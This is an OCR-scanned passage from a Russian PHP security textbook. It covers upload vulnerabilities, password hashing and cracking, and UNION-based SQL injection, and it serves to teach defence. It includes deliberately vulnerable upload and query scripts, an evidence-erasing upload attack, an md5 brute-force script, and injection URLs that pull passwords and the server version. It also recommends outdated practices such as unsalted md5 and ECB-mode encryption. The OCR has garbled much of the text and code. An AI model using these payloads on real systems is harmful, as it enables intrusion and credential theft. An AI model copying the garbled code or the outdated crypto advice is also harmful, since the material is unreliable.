глава 5. без опасность создава еМblХ We b-пр uложенuй - ЗЗ1 это р егуля рное выраже ние будет соответствовать е-шаi 1, однако есл и строка дол ж н а содержать адрес электронной почты и ничего более, то регулярное выражение необходимо снабдить п р ивязкой к началу (л) И концу текста ($) : " 1 " [ -О -9а-z_]+@[-О-9а-zЛ\.]+\.[a-z] {2,б}$li" окончател ь но проверка корректности адреса электронной почты может вы­ глядеть так, как это представлено в листинге 5.7. •••• • ••• ш •• ••••••••••••••••••••• •••••••ш••••• • !I�"I}PQВ�,риТЬ е-шаil верен Рис. 5.1 . НТМ L-форма про верки адреса электронной почты Листинг 5.7. Проверка корректности адреса электронной почты <form rnethod=post> <input sizе=БО type=text пarnе=пarnе value=< ?= $_POST ['narne' ]; ?» <input type=subrnit vаluе= ' Проверить '> </ form><br> <?php // Обработчик НТМL-формы if (isset {$_POST ['пarnе' ]}} if (рrеg_rnatСh (" IЛ[- О-9а-Z_] +@ [ -О-9а-zЛ\ .]+\. [a-z] {2, б } $ l i", $_POST['пarnе'])) echo "e-rna il верен" ;
ЗЗ2 Часть 1. Общие вопросы else echo .. e-mail не верен" ; ?> Результат работы НТМL-формы из листинга 5.7 демонстрируется на рис. 5 .1 . 5.2. Публикация изображений и файлов Часто Web-приложения, такие как форум или фотогалерея, позволяют посе­ тителям публиковать собственные изображе ния ил и файлы. Это могут быть фотографии, музыкальные, тексто вые или бинарные файлы. Передача поль­ зовател ьских файлов на сервер уже несет в себе потенциальную опасность, и при невнимательном кодировании может привести к серьезным последстви­ ям. ДЛЯ демонстрации угрозы, исходящей от пользовател ьских файлов, раз­ работае м небольшое Web-приложение, которое закачивает файл пол ьзовате­ ля на сайт и предоставляет ссылку для скачивания ил и его просмотра (есл и это изображение или тексто вый файл) (л исти нг 5.8). Скрипт поместим в файл с именем upload .php. Листинг 5.8. Загрузка файла на сервер (upload.php) <form enctype= 'multipart /form-data ' method=post> <input type="file" size="32 " name= "filename "><br> <input class=button type=submit vаluе= ' Загрузить '> </ form> <?php // Обработчик формы if (!empty ($ FILES ['filename'] ['tmp_name' ] )) // Сохраняем файл в текущем каталоге if (copy ( $_FILES ['filename '] ['tmp_name' ], $_FILES ['filename '] ['пате' ])) echo "Файл успешно загружен - <а href=" $_FILES ['filename '] ['пате' ] . ">"
Глава 5. Безопасность создаваемых WеЬ-пр uложенuй ззз $_FI LES ['filenarne ' ] [ 'narne' ] . "</а>"; ?> Уязвимость скрипта, представленного в листинге 5.8, заключается в том, что он позволяет загрузить любой файл, в том числе и РНР-скрипт. При помощи данного загрузчика MO�O загрузить на сервер скрипт для редактирования удаленных файлов (см . листи нг 4. 1 3), назвав его предварител ьно, например, l.pllp. Он позволяет открыть файл upload .php и добавить в его конец код, удаляющий файлы upload .php и 1.pllp (рис. 5.2). } 1 '" 1/ Уничт ожаем фаЙJ1Ь! unl ink ("upload .php ") ; un link {"l .php ") ; tf,: ':; ;" : � � 61 .. .....................................................................1 ?> Рис. 5.2. Редакти рование файла upload . php Те перь остается загрузить файл tlp load . pllp и перезагрузить его : ни самого файла, ни файла 1.pllp, по которому можно было догадаться о взломе, на сер­ вере не останется . ЗА МЕЧА НИЕ Наряду с SQL-инъекцией это од ин из самых распространенных видов взлома, характерный ДЛЯ форумов, чатов, фотогалерей и вообще любых Web-приложений, позволяющих загружать пользовательские файлы на сервер.
_ з_з _ 4 ______________________________________________ ч _ а _ сm __ Ь _ ' _ . _ О _ б _ щ � u _ е _ в �O�n � POcb -- -.!.. Как же защититься от взлома такого рода? Лучшей политикой защиты ЯВЛЯ­ ется запрет загрузки любых файлов, за исключением ряда разрешенных . Это можно сдел ать, например, за счет анализа расширения файла (л исти нг 5.9). Листинг 5.9. Защита скрипта <form enctype= 'multipart / form-data ' method=post> <input type="file" size="32 " naтe= "filenaтe "><br> <input class=button type=submit vаluе= ' Загрузить '> </form> <?php ?> // Обработчик формы if (!empty ($_FILES ['fi lenaтe'] ['tmp_naтe'])) // Извлекаем из имени файла расширение $ext = strtolower (strrchr ($_FILES ['filenaтe '] ['пате' ], ". ") ); // Разрешаем загружать файлы толь ко определенного форма та $extentions = array(". jpg ", ".gif" ); // Проверяем, входит ли расширение файла // в список зарегистрированных if (in_a rray ($ext , $extent ions ) ) // Сохраняем файл в текушем каталоге if (copy ( $_FILES ['filenaтe'] ['tmp_naтe' ], $_FILES ['filenaтe '] ['пате' ])) else echo "Файл успешно загружен - <а href=" . $_FILES ['filenaтe ' ] [ 'пате' ] $_FILES [ ' filenaтe ' ] [ 'пате'] Н>" . "</а>"; // Файл с незарегистрированным расширением echo "Разрешена загрузка толь ко изображений " ;
гл ава 5. Безопасность создаваемых WеЬ-прuложенuй ЗЗ5 :-:;- -- В скр и пте , представле нном в листинге 5.9, сразу после загруз ки файла на сервер извлекается его расширение, которое помещается в переменную $ext. МаССИВ $ extent ions содержит список расш ире ний файлов, разре ш е нных дл я загРУЗКИ н а с е рве р. Если расшире ние тол ько что загруже нного файла совпа­ дает С одним из расшире ний, зафиксированных в мас сиве $extentions, файл копи руется из врем е нного каталога в катал ог назнач е ния . Если расшире ние загруженного файла н е совпадае т ни с од ним из заре гистриро ван ных расши­ ре нИ Й, то файл игнорируется . Злоумышл е нник может загрузить зл овредный код, присвоив файлу расш ире­ ние gif, однако он не сможет его выполнить, так как для этого в конфигура­ ци он н ы х настройках Web-се рве ра н е обходимо связать это расшире н и е фай ла с и нтерпретатором, что, коне чно, н е может быть осуще ствле но. Еще одним способом прове рки файлов является прове рка типа файла, кото­ рыЙ мож но узнать, обратившись к эл е м е нту супе рглобального массива $JILE S [ 'filename ' ] [ 'typ e' ]. в случае графических файлов данный эле­ мент получает значения 'image/gif', 'image/pjpeg ' и т. п. В то же время рнр- или НТМL-файл будет иметь тип ' text /plain ' . Есл и н е обходимо загру­ жать тол ько граф иче ские файлы, достаточно осуществить прове рку скрипта по типу (листинг 5.1О). Листинг 5.10. Проверка файла ПО $_FILES ['fйеnamе ' J ['type ' J <form enctype= 'multipart/ form-da ta ' method=post> <input type= "file" sizе="З2 " name= orfilename "><br> <input class=button type=submit vаluе= ' 3агрузить '> </form> <?php // Обработчик формы if (!emp ty ( $_FI LES ['filename' ] ['tшр_пате '])) if (sub str ( $_FILES ['filename '] ['t ype' ],O,5) // Сохраняем файл в текущем каталоге if (copy ( $_FILES ['filename'] ['tmp_name '], $_FILES ['filename '] ['пате '])) echo "Файл успешно загружен - <а href=" . 'image ' )
ЗЗб ?> else $_FILES [ 'filename '] [ 'пате ' ] $_FILES [ , filename '] [ 'пате ' ] ">" . "</а>" ; // Файл с незарегистрированным расширением echo "Разрешена загрузка толь ко изображений" ; Часть 1. Общие вопросы Однако не всегда достаточно разрешить лишь нескол ько формато в файлов. Например, на форумах програм м истской направленности необходимо, чтоб ы все загруженные посетителями файлы были доступны, а у файлов, которые могут интерпретироваться сервером, было изменено расширение на безобид­ ный txt. В это м случае требуется создать массив с расширениями, кото рые должны заменяться на txt (листинг 5.1 1). Листинг 5.1 1. Фил ьтрация загружаемых файлов по расширению <form enctype= 'multipart/form-data ' method=post> <input type="file" size="32 " name= "filename "><br> <input class=button type=submit vаluе= ' Загрузить '> </form> <?php // Обработчик формы if (!emp ty ( $_FI LES ['filenaтe '] ['tmp_name' ])) // Извлекаем из имени файла расширение $ext = strtolower (strrchr ($_FILES [ 'filename ' ] [ 'пате' ], ".")); // Разрешаем загружать файлы толь ко определенного формата $extentions = array (".php ", ".phtml ", ".php ", " .html ", " . htm", ".p l", 11 •xrnl", ".inc"); // Пр оверяем, входит ли расширение файла // в список запрещенных файлов if ( in_a rray ($ext , $extentions )) $pos strrpos ($_FILES [ 'filename ' ] [ 'пате ' ], ".") ;
Гла ва 5. Безопа сность созда в аеМblХ Wе Ь-пр uложенuй ?> $path = substr ( $_FILES ['filename' ] ['п ате' ], О, $pos ) .".txt "; else $path = $_FILES ['fi lename '] ['п ате' ]; // Сохраняем файл в текущем каталоге if (copy ( $_FILES ['filename '] ['tшр_пате '] , $path) ) echo "Файл успешно загружен - <а href=$path>$path</a>"; ЗЗ7 Самой надежной защитой директории является защита средствами Web­ сервера Apacl1e. Как правило, файлы, загружен ные пользователями, хранятся в отдел ьном катал оге. В нем можно создать конфигурационный файл . i1taccess, при помощи которого можно переопределить обработчик дЛЯ РНР и Регl-файлов, потребовав от сервера рассматривать их как обычные текстовые файлы (л истинг 5.12). ЗА МЕЧАНИЕ Web-сервер Apache в сети Интернет является ста ндарто м де-факто (около 70% всех серверов работают под его управлением) , поэто му решение яв­ ляется достаточно универсальным. Листинг 5.12. Защита директории средствами Web-сервера Apac he RemoveHandl er .php .phtml .pl AddType text/plain .php .phtml .pl 5.3 . Методы шифрования 5.3.1 . Необратимое шифрование При необратимом шифровании информация зашифровывается таким обра­ зом, что не подлежит обратной расшифровке. На первый взгляд это может показаться странным, однако в действительности такой метод шифрования испол ьзуется очень часто . Функции, с помощью которых реализуется одно-
ЗЗ8 Часть 1. Общие вопр ось/ - направленное шифрование, называются функция ми хэширования . При и с­ пользован ии таких функций создается уникальный "отпечато к" строки . Наи­ более часто в качестве ал горитма хэ ширования испол ьзуется ал го ритм MDs реализовать который можно с помощью одноименной функции: ' string rnd5 ($str [, $raw_output ]) В качестве обязател ьного аргумента эта функция принимает строку $str, ко­ торую необходимо зашифровать и возвращает ее уникальный 128-битовы й отпечаток (хэш-код). Если необязательный аргумент $ raw_output имеет зна­ чение true, то возвращается бинарная строка из 16 символов. Вероятност ь то го, что две строки дадут одинаковый хэш-код, стремится к нул ю. ЗА МЕЧА НИЕ Аналогичная функци я rnd 5_f ile () часто и спользуется для созда н и я уникального хэш-кода объемных файлов, которые передаются по сети. За­ грузив файл , всегда можно проверить его целостность , вычислив код по ал­ горитму md5 и сравнив полученный резул ьтат с хэш-кодом, предоставля е­ мым распростран ителем. Это позволяет отследить повреждени я ф айла , вызванные передачей через сеть , а также предотвращает фальсификаци ю файла. Такой способ часто применяют при распрост ранении объемных дистрибути вов. При помощи это й функции можно заш ифровы вать разл ичные дан ные, к п р и­ меру, пароли пользователей. Это позволяет организовать следующий алго­ ритм авторизации пользователей. При первой регистрации пользователя со­ храняется хэ ш-код его пароля (например, в базе дан ных). При последующих посещениях странички хэш-код вводимого пользователем пароля сравнива­ ется с сохраненным ранее хэш-кодо м. Есл и эти отпечатки совпадают, автори­ зация считается успешной. ЗА МЕЧАНИЕ Такая схема авто ризации не позволяет получить непосредственный доступ к паролям, даже если происходит хи щени е базы данных. В этом случае злоумышленник вынужден тратить значител ьное машинное время на пере­ бор паролей по словарю, поэто му парол и в ида W5t7,9yuP практически не прддаются расшифровке, в то же время необрати мое ш ифрование не смо­ жет защити ть от перебора при пароле вида 12345. При помощи функции rnd5 () можно зашифровывать различные дан ные, к примеру, пароли пользователей (листинг 5.13).
гп ава 5. безопа сность создав а емых Wе Ь-пр uложенuй :. .;--- ЗЗ9 Л�сТI4НГ 5.13. Использование функци и md5 () <?phP ?> $rnakS_password = "gfkj xrb99 "; // Сохраненный пароль поль зователя $maks_ciphe r = md5 ($rnaks - password) ; // Сохраненный хэш-код пароля / / Пароль поль зователя , вводимый при посещении странички $us e r_pas s word = "gfkj xrb99"; / / хэш-код пароля пользователя , вычисляемый при посещени и страНИЧ�1 $us er_cipher = md5 ( $rnaks-password) ; / / Если хэш-коды совпадают , то пароль верный i f ($rna ks_cipher == $user_c iphe r) echo "Hello, Maks "; el se echo "Введен неверный пароль "; Для этих же целей испол ьзуется функция crypt ( ), кото рая имеет следующий синтаксис: string crypt ($str [, $salt) ) Аргумент str представляет собой предназначенную дл я шифрования строку . К примеру, если передать это й функции строку с паролем I gfkjxrb99" И ар­ гумент $salt, равный " ttt " , то будет возвращена строка I ttНсУСТуRе Z7 б " , которая не может быть де шифрована. Однако, поскол ьку результат работы фун кци и строго определен в том смысле, что при вызове с одинаковыми па­ раметрами $str И $salt функция возвращает один и тот же резул ьтат, ее м ожно использовать для проверки паролей (л истинг 5.14). ЗАМЕЧАНИЕ в UNIХ-подобных операционных системах и Windows хэш-код , возвращае­ м ый функцией crypt ( ) , не совпада ют. В UNIХ-подобной операционной системе резул ьтат функции crypt () можно использовать для авто матиче­ ского формирования файла . htpasswd , используемого совместно с конфи­ I гурационным файлом .htaccess для защиты директории паролем.
340 Листинг 5.14. Использование фу нкции Crypt () <?php ?> $rnaks_password = "gfkj xrb99"; $rnaks_crypt = crypt ( $rnaks-pas sword , 'tt t' ); echo $rnaks_crypt ; $user_pa ssword = "gfkj xrb9 9"; $user_c rypt = crypt ( $rnaks_pa ssword , 'tt t' ); if ($rna ks_c rypt == $rnaks_crypt ) echo "Пароли совпадают "; else echo "Введен неверный пароль "; Часть 1. Общие вопр осы Для однонаправленного шифрования можно также использовать функцию crc32 ( ) , вычисляющую 32-битовую контрольную сумму исходной строки : int crc3 2 ($str) Для работы с паролями эта функция, как правило, не применяется , поскол ьку создает лишь 32-битовый хэш-код. Обычно этой функцией пол ьзуются дл я проверки совпадения данных. С помощью это й функции удобно, к примеру, проверять, был ли изменен файл со времени последнего просмотра, совпада­ ют ли переданные данные и т. д. 5.3.2. С имметр ичное шифровани е При симметричном шифровании строки шифруются с помощью кл юча, ко ­ торый известен как отправител ю, так и получател ю. В РНР алгоритм ы сим­ метричного шифрования реализованы в библ иотеке mcrypt; ознаком иться с полным набором функций и алгоритм ов это й библиотеки можно на сайте http ://www.php.net. Функции mcrypt работают, тол ько есл и подключена библиотека mcrypt. ЗА МЕЧА НИЕ Ка к и любое расширение, по умолчанию библиотека mcrypt в РНР 5 откл ю­ чена. Для того чтоб ы ее подключить, необходимо убрать комментарий н а -
Гл а в а 5. Безопа сность созда ва емых We b-пр uложенuй 341 против стр оки ехtепs i оп=рhр mc rypt . dl l в конфигурационном файле php.ini. Кроме этого , необходимо скопировать в системную директорию С:lWiпdоws/sуsуеmЗ2 дополнител ьную библиотеку libmcгypt.dll, кото рая не входит в соста в дистрибути ва РНР и кото рую следует загрузить из сети, на­ пример по ссыл ке http ://www .softtime. ru/fi les/l ibmcrypt.dll. в листи нге 5.15 приведен пример, в котором строка заш ифровывается и рас­ ш ифровывается при помощи алгоритма ЗDЕS (Тгiрlе-DЕS). Л истинг 5.1 5. Использование симметричного шифрования <?php ?> 11 Шифруем пароль $user_pa ssword = "gfkj xrb99"; $key = "Это секре тный ключ "; 1 / Шифруем пароль с исполь зованием ключа $key $user_crypt = mс rурt_есЬ (МСRУРТ_З DЕS , $key, $ma ks-password, MCRYPT_ENCRYPT }; echo "Зашифрованный пароль - " .$user_c rypt ; 11 Расшифровываем пароль $user_c rypt = mсrурt_есЬ (МСRУРТ_З DЕS , $key, $user_crypt , MCRYPT_DECRYPT }; echo "Расшифрованный пароль - ".$user_c rypt ; в листи нге 5.15 пароль, размещенный в переменной $user_p assword, сначала шифруется функцией mc rypt_ecb () С применением кл юча $key, а затем про­ водится его обратная дешифрация. 5.3 .3 . Подбор пароля Как видно из предыдущих раздел ов, для шифрования паролей зачастую про­ ще прибегать к необратимому шифрованию. Однако это вовсе не значит, что парол ь, особенно просто й, невозможно подобрать. В листинге 5.16 приво­ дится простейший скрипт подбора пароля методо м перебора сим вол ов из массива $arr. При это м парол и располагаются в файле раsswогd, располо­ же нном в той же директории, что скрипт. Переменная $mах_пumb еr задает максимальный размер подыскиваемого пароля.
342 ЗАМЕЧА НИЕ Ча сть 1. Общие в опрось/ -- Обычно подбор осуществляется не дл я каждого отдел ьного парол я, а для целой совокупн ости - ведь дл я каждого пароля перебираются одн и и те Же значения, следовательно, можно сэкономить время, есл и обрабатывать все четыре пароля из файла password за один раз. Кроме того , реальный инст­ румент зачастую реализуют на ком пилируемом, а не инте рпрети руем ом языке программирования. Листинг 5.16 . Подбор па роля, заш ифрованного с помощью МО5 <?php // Устанавливаем неограниченное время выполнения скрипта set_time_l imi t (Q) ; // Читаем пароли из файла pas sword $pass = file ( "password" ); foreach ($pas s as $password ) // Замеряем время , затраченное на подбор пароля $begin = time () ; echo de crypt_md5 (trim($pas sword ) , "") ; $end time () ; echo " (На подбор затрачено ". ($end - $begin ) ." секунд ) <br>" ; // Функция посимвольного перебора пароля // $pass - расшифровываемый пароль // $answer - текущий ответ , при первом вызове - пустая строка function decrypt_md5 ($pass, $answer) $arr array('а', 'Ь', 'с', 'd', 'е', 'f', 'g','h','i', ' j','k', 'l', 'т', 'п', 'о', 'p', 'q', 'r', ' 5', 't', 'u', 'v',' w ', 'x', 'y', 'z'); // Будем считать , что пароль не превышает // 4 символов $max_nurnber = 3; if (strlen ($answer) > $max_numbe r) return ;
гл а ва 5. безопа сность созда ва емых We b-пр uложенuй -- ?> for ($j = О; $j < count($arr) i $j++) $temp = $answer .$arr [$j] i i f (md5 ($temp ) == $pas s) return $tempi / / Рекурсивно вызываем функцию для увеличения / / длины подбираемого пароля $result = decrypt_md5 ($pass, $temp) i // Если функция возвращает непустую строку, / / следователь но , найден ответ и даль ше искать // не следуе т i f (strlen ($result ) > О) return $result i 343 В ремя выполнения скрипта может быть значительным, поэтому в первых стр оках снимается ограничение на время выполнения скрипта при помощи фу н кци и set_ time_l imi t (). Функция принимает ед инственный целочислен­ н ый параметр, через который передается новое значение максимального вре­ мени в ыполнения скрипта. Если в кач естве параметра передано значение О, любые ограничения на время выполнения снимаются . После это го содержимое файла password разбивается на строки, помещаемые в м ассив $pass, элементы которого в цикле передаются рекурсивной фун кци и decrypt_md 5 (). ЗА МЕЧА НИЕ Следует отметить, что строки массива $pass пропускаются через функцию trim () , для того чтобbl избавиться от неВИДИМblХ символов \r\n, которые могут оставаться в конце строк. Функция перебирает значения от а через аЬ, ас И до azzz, И как тол ько вре­ м ен ная перемен ная $answer принимает значение ааааа, функция переходит к сим волу Ь И перебирает парол и до bzzz. Таким образом перебираются все сим волы из массива $ап. Как тол ько парол ь найден, функция возвращает его и выходит из рекурсивного цикла благодаря проверке: if ( strlen ($result ) > О ) return $result i Зачастую пароль подбирается гораздо быстрее, есл и поиск осуществляется П О словарю, то есть не перебором всех возможных значений, а путем выбора из словаря наиболее употребимых слов.
344 Часть 1. Общие вопросы 5.3 . 4 . Генераци я парол я Для генерации паролей можно воспользоваться сл учайной выборкой из м ас­ сива эл ементов. Можно управлять частотой появления символов в парол е, добавлением дубл ирующих эл ементо в в массиве. Например, часто в масс ив­ источник добавляются дубл ирующие буквы верхнего регистра, так как п а­ роль с большим кол ичеством букв в верхнем регистре выглядит "краси во" . Следует подавлять такие желания, так как изменение частоты символов в па­ роле играет на руку злоумышленникам, которые, зная особенности генераци и паролей, могут знач ител ьно сократить время подбора. Скрипт, генерирую­ щий пароль, представлен в листинге 5.17. Листинг 5.17. Ге нератор паролей <forrn me thod=post> <input type=text пamе=пшnbеr value="B"> <input type=submit vаluе= " Генерировать "> <form><br><br> <?php // Параметр $пшnbе r ука зывает количество // символов в пароле echo html sресiаlсhаrs ( gепе rаtе_раs swоrd ($_РОSТ [ 'пшnbе r' ])); funct ion gепеrаtе_ра sswоrd ($Пшnb еr) '$arr array('a', 'Ь', 'с', 'd' , 'е', 'f', 'g', 'Ь', 'i', 'j','k','1', 1т' , 'п', 'о', 'р', ' q' , 'r', ' 5' , " t'I'и ' , 'v', 'w' ' х' , ' у'1'z'r 'А','В', 'С', 'О', 'Е', 'F', 'G','Н', '1','J','К', 'L', 'М', 'N', 'О', 'Р', 'Q', 'R', 'S', 'Т', 'О', 'V', 'W', 'Х', 'У', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'О'l ' . """ ,(',')" ,[',']" I!" '?', '&', ' Л ', '%', '@', '*', '$', '<','>','1','I" '+','-', ' ( ','}'," ','-');
Гл ава 5. Безопасность создаваемых We b-пр uложенuй ?> // Генерируем пароль $pass = ""; for($i= О; $i< $number; $i++) // Вычисляем случайный индекс ма ссива $index = rand (O, coиnt ($arr) - 1) ; $pass .= $arr [$index] ; return $pass; Резул ьтат работы скрипта из листинга 5. 17 представлен на рис. 5 .3. xZpS 17ig ..... ..; ��::��.. Рис. 5 . 3 . Ге нератор парол ей заданной дл ины 5.4 . SQL-инъекции 345 Пусть имеется таблица пользовател ей userslist, кото рая содержит пять столбцов: D id user- первичный ключ табл ицы, обладающий ат рибуто м АИТО_ INCREMENT; D пате - имя пол ьзователя;
34б Часть 1. Общие в опрось/ - о pass - его пароль; О ета Н - адрес электронной почты пол ьзователя; О url - адрес домашней страницы пользо вателя. В листинге 5.18 представл ен оператор CREATE TAВLE, создающий табл и цу userslist. Листинг 5.18. Табл ица userslist CREATE TAВLE userslist ( ); id_user INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , pass TINYTEXT NOT NULL , email TINYTEXT NOT NULL , url TINYTEXT NOT NULL , PRIМARY КЕУ (id_us er) INSERT INTO userslist VALUES (1, 'cheops ', 'cheops ', 'cheops @ma il .ru' , .http: / /www .softtime.ru. ). (2, 'barton ', 'dwert ', 'barton@ma i1 .ru' , " ), (3, 'Gordon', '123', " , " ), (4, 'te ster ', 'test', 11 , 11) , (5, 'Чиф' , 'gfh jkm' , 'kuznetsov@ softtime .ru' , .http: //www. softtime .ru .) . (6, 'yandex ', 'zyltrc' , 'yandex @ma i l.ru' , .http: / /www . yandex.ru. ); Список всех пользовател ей, включенных в таблицу userslist, выводится при помощи скрипта, представленного в лист инге 5.l9. Имя каждого из пол ьзова­ телей является гиперссылкой вида <а href=user . php ?id_user=l>name</a>, где 1 - первичный ключ записи в таблице us ersli st, а пате - имя пользователя . Листи нг 5 ,19. Список пол ьзователей <?php // Устанавливаем соединение с базой данных require_опсе ( "config . php " ) ; , // Запрашиваем список всех поль зователей $query = "SELECT * FROM userslist ORDER ВУ пате"; $usr = my sql_query ($query) ;
гл ава 5. Безопасность создаваемых We b-прuложенuй -- if ( ! $usr) exit ("Ошибка - ".mysql_error () ) ; wh i le ($user = my sql_fetch_a rray ($us r) ) 347 e cho "<а href=user . php?id user=$user [ id_u ser] >$user [name] </a><br> "; 7> В ЫВОД информации обо всех посетителях выпол няется на странице user.pl1p. Код скр ипта из файла user.pl1p представл ен в листинге 5.20. Ли сТИНГ 5.20 . Содержимое файла user.php <7php ?> / / Устанавливаем соединение с базой данных require_once ( "config.php") ; / / Запрашиваем список всех поль зователей $ query = "SELECT * FROM userslist WHERE id_user $ usr = my sql_que ry ($query) ; if (!$ us r) ехit ( "Ошибка - ".mysql_error () ); $user = my sql fetch_a rray ($us r) ; echo "Имя пользователя - $user [name] <br>"; if(!empty($user[ .етаН'])) echo ..e-таН - $user[етаН]<br>"; i f( !emp ty ($user ['u r l'])) echo "URL - $user [url ] <br> "; Как видно из листинга 5.20, GЕТ-параметр id_user подставляется в SQL­ зап р ос без всякой проверки - это позволяет злоумышленнику осуществить SQL- инъекцию. В место числа в SQL-запрос SELECT * FROM userslist WНERE id user = 1 может быть внедрена произвольная строка . Так, если в строку запроса под­ ставить значение 'какой- то%20текст ' (л истинг 5.21 ), то скрипт выдаст со­ об щение об ошибке (рис. 5.4). Листинг 5.21 . Попытка вставки вместо числового значения строки SELECT * FROM userslist WHERE id user = 'какой- то текст '
348 Часть 1. Общие вопро сы ЗА МЕЧАНИЕ Символ % 2 О обозначает пробел . Запоминать коды недопустимых символ ов необязател ьно, корректную для URL строку всегда можно получить , п ро­ пусти в текст через функцию urlencode (). Ошибка - YOll have an error in УОll1" SQL synta.x. Clleck the шапuаl that corresponds to уоит MySQL seryer yersion fO T the l"ight syntax to use near '\'какой-то текст\" at lille 1 Рис. 5 .4. Передача через строку запроса произвольного текста Воспользовавшись конструкцией UN ION, можно добавить еще один запрос того же формата, что и первый (листи нг 5.22). Листинг 5.22 . Использование конструкции UNION SELECT * FROM users list WНERE id user = 1 UNION SELECT * FROM userslist WНERE id user = 2 Код SQL-инъекции выделен жирным шрифтом. Результирующая таблица будет содержать записи как из первого, так и из второго запроса. URL -запрос в это м случае может выглядеть следующим образом: user . php?id_us er=1 %20UNION%20SELECT%20*%20FROM% 20userslist%20WHERE%20id_u ser%20=%202 Тем не менее, на странице по-прежнему выводится информация о посетите л е с первичным ключом 1 (рис. 5.5).
Гпава 5. безопасность созда ва емых WеЬ-пр uложенuй Имя пользователя - clleops e-шаП - clleops@mail.11J URL - http://W\'\.'W. sоft t iше.11J . } ....::;�;:. Рис . 5 . 5 . Вывод информации о первом пользователе с первичным кл ючом 1 349 Запрос из листинга 5.22 возвращает две записи, которые cooTBeTcT�YfOT поль­ зовател ю с первичным ключом 1 и пользовател ю с первичным кл ючом 2 (листи нг 5.23). Ли стинг 5.23. Записи, возвра щаемые за просом из листинга 5.22 1, 'cheops ', ******, 'cheops @rna il .ru' , .http: //ww w . softtirne.ru. 2, 'barton' , ******, 'barton@rnail .ru' , " Однако резул ьтаты выводятся тол ько дл я самого первого запроса, так как в коде (см. листи нг 5.20) присутствует тол ько один вызов функции mysq1_fet ch_a rray () и, следовател ьно, все последующие записи игнориру­ ют ся. Первой задачей злоумышленника является вывод в окно браузера ре­ зультатов второго запроса из конструкции UN ION, так как первый запрос из­ м енить уже нельзя . Для реализации этой задач и можно воспользоваться двумя способами. Первый из них заключается в формировании тако го усл о­ вия первого запроса, кото рое заведомо невыполнимо (листинг 5.24). Дл я это­ го переменной id_user можно присвоить отрицател ьное значение. Поскол ьку первичный кл юч принимает тол ько положител ьные значения, можно гаран­ тировать, что первый запрос не вернет ни одной записи.
350 Часть 1. Общие вопро сь/ - Листинг 5.24. Пода вление вывода первого запроса SELECT * FROM userslist WHERE id user = -1 UNION SELECT * FROM userslist WНERE id user = 2 URL-запрос дл я SQL-инъекции из листи нга 5.24 может выглядеть так, как Это представл ено ниже: user . php?id_u ser= - 1%20UNIОN%20SЕLЕСТ%20* %20FRОМ% 20usеrs list%20WНERE%20 id user% 20=%202 В резул ьтате тако й инъекции в действие вступает второй SELEct-з а прос из конструкции UN ION, благодаря которому выводится информация о пользова­ тел е с первичным ключом 2 (рис. 5.6). Имя пользователя - barton e-таН - barton@mail.l1.l Рис. 5 .6 . Передача управления вто рому SELEct-запросу из конструкции UN ION И ногда передать управление второму SELEct-запросу описанным приемом сложно, поэто му прибегают к конструкции ORDER ВУ, которая сортирует р е­ зультаты запросов так, что бы резул ьтаты из инъекционного запроса оказа­ лись в начале. В нашем случае можно подвергнуть резул ьтаты обратной сор­ ти ровки по параметру id_user. Для осуществления такой операци и необходимо использовать конструкци ю ORDER ВУ id_user DESC, которая размещается в конце ко нструкции UN ION (л исти нг 5.25).
глава 5. безопасность создаваеМblХ We b-пр uложенuй - листи НГ 5.25. Сорти ров ка результатов SELECT * FROM userslist WHERE id user 1 UNION SELECT * FROM userslist WНERE id user = 2 ORDER ВУ id user DESC 351 Пока манипуляции записями были достато чно безобидными, однако SQL­ и н ъ екции позволяют извлекать произвольные поля формы, в том числе и па­ роль, вывод кото рого не предусматривает скрипт из ll sег.рl1р. Для этого зло­ ум ы шленники расшифровывают символ * во втором запросе (л истинг 5.26). Листинг 5.26. Расш ифро вка символа * в инъекционно м запросе SELECT * FROM userslist WHERE id user = 1 UNION SELECT id_user , пате , разз , email , url FROM userslist WНERE id user = 2 ORDER ВУ id_user DE SC Кол ичество полей во втором запросе должно совпадать с кол ичеством столб­ цо в из первого SELEct-запроса, инач е СУБД отклонит запрос как ошибочный. Столбцы пате и pass являются текстовыми, поэтому ничто не мешает нам п оменять их местам и (листинг 5.27). Листинг 5.27. Переменз места ми полей пате и разз SELECT * FROM userslist WНERE id user = 1 UNION SELECT id_user , pass , пате , email , url FROM userslist WНERE id user = 2 ORDER ВУ id user DE SC Так как имена стол бцов формируются по первому запросу, вместо имени пользователя (пате ) подставляется его парол ь (pass) (рис. 5.7). ЗАМЕЧАНИЕ КОНСТРУКЦИЯ UNION применяется тол ько совместно с SELEct-запросами, по­ этому деструктивных действ ий такая SQL-инъекция не несет, если парол и не предоста вляют доступ к панели управления, при помощи которой эти действия можно осуществить . По м имо просмотра скрытых стол бцов, SQL-инъекции могут быть использо­ ваны для получения другой разнообразной информации, например, версии
352 Часть 1. Общие вопрось/ - MySQL-сервера. Для решения это й задачи можно воспользоваться тем фак­ то м, что в списке столбцов могут находиться внутренние функции MySQL. Поэтому для достижения цел и достаточно модернизировать инъекцио н н ы й запрос из листинга 5.26 таким образом, чтобы вместо поля пате СТО ЯЛ ВЫЗО В функции VERS ION () (листинг 5.28). Рис. 5 . 7 . ВЫВОД пароля пользовател я в окно браузера Листинг 5.28 . Определяем версию сервера MySQL SELECT * FROM users list WHERE id user = 1 UNION SELECT id_user , VERS ION() , раээ , email , url FROM userslist WНEБЕiduser=2 ORDER ВУ id user DE SC Строка запроса, выполняющая эту SQL-инъекцию, может выглядеть сле­ дующим образом : us er . php?id_us er=1 %20UNION%20SELECT%20id_u ser, %20VERS ION () , %20pass, %20ema il, % 20url%20FROM% 20users list%20WНERE%20id_u ser%20= %202%20ORDER% 2 0BY%20id_ us er% 20DESC Резул ьтат работы SQL-инъекции приведен на рис. 5 .8. Таким образом, версия MySQL сервера - 4.0 .24. Для того чтобы избежать взлома по SQL-инъекции, следует проверять все число вые параметры при помощи регулярных выражений или осуществл ять явное приведение типа при помощи конструкции intval () (см. раздел 5. 1.2) .
